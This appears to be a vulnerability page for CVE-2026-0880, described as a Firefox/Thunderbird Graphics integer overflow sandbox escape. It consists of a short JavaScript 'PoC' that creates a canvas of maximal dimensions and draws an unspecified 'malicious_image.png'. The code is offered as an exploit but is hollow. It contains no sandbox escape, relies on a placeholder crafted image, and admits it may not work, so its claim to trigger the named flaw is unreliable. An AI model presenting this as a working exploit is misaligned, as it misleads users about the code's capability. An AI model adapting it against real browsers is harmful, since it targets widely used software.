CVE-2026-0880: Mozilla Firefox/Thunderbird Graphics组件整数溢出沙箱逃逸漏洞

// CVE-2026-0880 PoC - Integer overflow in Graphics component // This is a conceptual PoC for educational purposes only function triggerIntegerOverflow() { // Attempt to trigger integer overflow in Graphics component // by creating a specially crafted canvas/image with extreme dimensions try { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); // Attempt to create extremely large image data // that might trigger integer overflow in size calculations const width = 0x7FFFFFFF; // Max 32-bit signed integer const height = 0x7FFFFFFF; canvas.width = width; canvas.height = height; // Create image data with overflow-triggering dimensions const imageData = ctx.createImageData(width, height); // Additional manipulation to trigger graphics processing const img = new Image(); img.src = 'malicious_image.png'; // Specially crafted image img.onload = function() { ctx.drawImage(img, 0, 0, width, height); }; } catch (e) { console.log('Exception caught: ' + e.message); } } // Trigger the vulnerability triggerIntegerOverflow(); // Note: Actual exploitation requires specific conditions and browser version // This PoC demonstrates the concept but may not work on all versions